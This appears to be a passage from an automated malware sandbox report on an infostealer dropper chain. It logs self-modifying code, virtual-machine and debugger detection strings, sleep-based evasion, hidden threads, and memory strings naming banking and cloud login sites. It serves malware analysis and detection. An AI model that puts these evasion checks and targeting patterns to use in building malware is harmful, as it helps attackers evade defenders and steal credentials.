                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: AEEDEB instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: AEED20 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: C855F1 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: C8D82A instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: C8DB4D instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: CAECAE instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: D14E00 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSpecial instruction interceptor: First address: 9FD87A instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSpecial instruction interceptor: First address: 9FD92C instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSpecial instruction interceptor: First address: B9C4E9 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSpecial instruction interceptor: First address: BC5970 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSpecial instruction interceptor: First address: BB0AE5 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSpecial instruction interceptor: First address: C28952 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSpecial instruction interceptor: First address: 1047BE6 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSpecial instruction interceptor: First address: 11EF5D0 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSpecial instruction interceptor: First address: 104513A instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSpecial instruction interceptor: First address: 1203717 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSpecial instruction interceptor: First address: 1047B19 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSpecial instruction interceptor: First address: 1278B07 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSpecial instruction interceptor: First address: 65FCDC instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSpecial instruction interceptor: First address: 65FDD2 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSpecial instruction interceptor: First address: 65FCE2 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSpecial instruction interceptor: First address: 808EE3 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSpecial instruction interceptor: First address: 8083E7 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSpecial instruction interceptor: First address: 80FBED instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSpecial instruction interceptor: First address: 894C71 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeMemory allocated: 1280000 memory reserve | memory write watch
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeMemory allocated: 2C60000 memory reserve | memory write watch
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeMemory allocated: 4C60000 memory reserve | memory write watch
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_050B0520 rdtsc 0_2_050B0520
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow / User API: threadDelayed 848Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow / User API: threadDelayed 1510Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow / User API: threadDelayed 1313Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow / User API: threadDelayed 1491Jump to behavior
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4472
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3441
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5172
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1629
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeWindow / User API: threadDelayed 3617
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 456
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dllJump to dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeAPI coverage: 5.2 %
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5908Thread sleep count: 35 > 30Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5908Thread sleep time: -70035s >= -30000sJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3816Thread sleep count: 848 > 30Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3816Thread sleep time: -1696848s >= -30000sJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6784Thread sleep count: 300 > 30Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6784Thread sleep time: -9000000s >= -30000sJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5168Thread sleep count: 1510 > 30Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5168Thread sleep time: -3021510s >= -30000sJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 728Thread sleep count: 1313 > 30Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 728Thread sleep time: -2627313s >= -30000sJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4956Thread sleep count: 1491 > 30Jump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4956Thread sleep time: -2983491s >= -30000sJump to behavior
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6832Thread sleep time: -6456360425798339s >= -30000s
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5044Thread sleep time: -922337203685477s >= -30000s
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6076Thread sleep time: -1844674407370954s >= -30000s
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3936Thread sleep time: -922337203685477s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe TID: 7072Thread sleep time: -30000s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe TID: 3196Thread sleep time: -922337203685477s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe TID: 2164Thread sleep time: -90000s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 5784Thread sleep count: 154 > 30
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 5784Thread sleep time: -308154s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 5712Thread sleep count: 338 > 30
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 5712Thread sleep time: -676338s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 5536Thread sleep time: -36000s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 3356Thread sleep count: 256 > 30
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 3356Thread sleep time: -512256s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 3192Thread sleep count: 144 > 30
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 3192Thread sleep time: -288144s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 1776Thread sleep count: 3617 > 30
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 1776Thread sleep time: -7237617s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 3364Thread sleep count: 299 > 30
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe TID: 3364Thread sleep time: -598299s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 616Thread sleep time: -48024s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 4668Thread sleep time: -30000s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 4952Thread sleep time: -30015s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 3748Thread sleep time: -34017s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 6036Thread sleep time: -30015s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe TID: 2380Thread sleep time: -60030s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe TID: 3352Thread sleep time: -54027s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe TID: 1412Thread sleep time: -36000s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe TID: 3204Thread sleep time: -48024s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe TID: 7164Thread sleep time: -38019s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe TID: 3940Thread sleep time: -36018s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 6948Thread sleep time: -180000s >= -30000s
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180Thread sleep time: -5534023222112862s >= -30000s
                                      Source: C:\Windows\System32\svchost.exe TID: 3692Thread sleep time: -30000s >= -30000s
                                      Source: C:\Windows\System32\svchost.exe TID: 7600Thread sleep time: -30000s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 5376Thread sleep time: -34017s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 7288Thread sleep time: -60000s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 5400Thread sleep time: -40020s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 5304Thread sleep time: -32016s >= -30000s
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe TID: 5584Thread sleep time: -42021s >= -30000s
                                      Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
                                      Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
                                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                                      Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                                      Source: C:\Windows\System32\PING.EXELast function: Thread delayed
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeLast function: Thread delayed
                                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                                      Source: C:\Users\user\Desktop\file.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeFile Volume queried: C:\ FullSizeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006B7978 FindFirstFileW,FindFirstFileW,free,11_2_006B7978
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006B881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,11_2_006B881C
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006BB5E0 GetSystemInfo,11_2_006BB5E0
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeThread delayed: delay time: 30000Jump to behavior
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeThread delayed: delay time: 30000
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeThread delayed: delay time: 30000
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\main\extractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\main\Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
                                      Source: skotes.exe, skotes.exe, 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696428655f
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11696428655
                                      Source: 1f3cab3382.exe, 00000028.00000003.3312480254.0000000005863000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: - GDCDYNVMware20,11696428655p
                                      Source: explorer.exe, 0000001F.00000002.2842874964.0000000000BA9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW)>
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
                                      Source: explorer.exe, 0000001F.00000002.2842874964.0000000000BA9000.00000004.00000020.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000024.00000002.3073887130.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3414236004.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3429935464.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.3264642710.00000000007CC000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3435695265.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3436444767.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3435476847.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3436609156.0000000000E48000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
                                      Source: explorer.exe, 0000002A.00000002.3264642710.00000000007CC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW+
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696428655t
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
                                      Source: PING.EXE, 0000001D.00000002.2856234525.000002BC6560D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                                      Source: PING.EXE, 00000022.00000002.2872877696.0000013965669000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}}
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696428655s
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3073344255.000000000145C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0*J
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696428655
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696428655
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696428655o
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696428655t
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696428655
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696428655j
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
                                      Source: 1f3cab3382.exe, 00000028.00000003.3312480254.0000000005863000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: YNVMware
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
                                      Source: 1f3cab3382.exe, 00000028.00000003.3414236004.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3429935464.0000000000B13000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWL
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696428655x
                                      Source: file.exe, 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2214876725.0000000000C63000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3073887130.0000000001495000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWD
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: F7hGfsX1sRaIfeD1h5f
                                      Source: file.exe, 00000000.00000003.2156757648.0000000001191000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _VMware_D
                                      Source: 1f3cab3382.exe, 00000028.00000003.3313228013.0000000005856000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
                                      Source: C:\Users\user\Desktop\file.exeSystem information queried: ModuleInformationJump to behavior
                                      Source: C:\Users\user\Desktop\file.exeProcess information queried: ProcessInformationJump to behavior

                                      Anti Debugging

                                      barindex
                                      Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSystem information queried: CodeIntegrityInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSystem information queried: CodeIntegrityInformation
                                      Source: C:\Windows\SysWOW64\taskkill.exeSystem information queried: CodeIntegrityInformation
                                      Source: C:\Windows\SysWOW64\taskkill.exeSystem information queried: CodeIntegrityInformation
                                      Hides threads from debuggers
                                      Source: C:\Users\user\Desktop\file.exeThread information set: HideFromDebuggerJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeThread information set: HideFromDebuggerJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeThread information set: HideFromDebuggerJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeThread information set: HideFromDebuggerJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeThread information set: HideFromDebugger
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeThread information set: HideFromDebugger
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeThread information set: HideFromDebugger
